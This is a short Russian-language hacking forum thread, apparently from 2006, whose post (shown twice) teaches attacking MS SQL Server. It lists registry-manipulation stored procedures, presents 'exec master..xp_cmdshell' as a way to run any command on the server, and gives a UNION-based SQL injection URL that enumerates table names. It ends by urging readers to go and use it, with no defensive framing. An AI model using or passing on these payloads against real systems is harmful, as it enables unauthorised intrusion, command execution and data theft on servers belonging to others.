MsSQL

Забей на эти DATABASE(), USER(), VERSION()! В msSQL все гораздо круче - можно например приконектится через базу к твоему компу и не только! Вот кратко основные функции, полезные хацкеру:

xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)

Вот конкретный пример:

exec master..xp_cmdshell 'dir'

С помощью этого запроса можно выполнять любые команды на серваке =)
Вот еще интересная инфа: системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.
Вот пример:

http://zadov/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Ясно? А теперь действуй! =)

Логин:
Пароль:
	Запомнить меня на этом компьютере

Забыли свой пароль?

MainKaif Guest	#2 Это нравится:0 Да/0 Нет 18.09.2006 09:19:45 Есть в базе данных Master

Razor энтузиаст Сообщений: 87 Баллов: 88 Регистрация: 28.01.2006	#3 Это нравится:0 Да/0 Нет 19.09.2006 19:06:58 Забей на эти DATABASE(), USER(), VERSION()! В msSQL все гораздо круче - можно например приконектится через базу к твоему компу и не только! Вот кратко основные функции, полезные хацкеру: xp_regaddmultistring (добавляем строковый параметр) xp_regdeletekey (удаляем ключ) xp_regdeletevalue (удаляем значение ключа) xp_regread (читаем ключ) xp_regremovemultistring (удаляем строковый параметр) xp_regwrite (пишем информацию в реестр) Вот конкретный пример: exec master..xp_cmdshell 'dir' С помощью этого запроса можно выполнять любые команды на серваке =) Вот еще интересная инфа: системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере. Вот пример: http://zadov/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Ясно? А теперь действуй! =)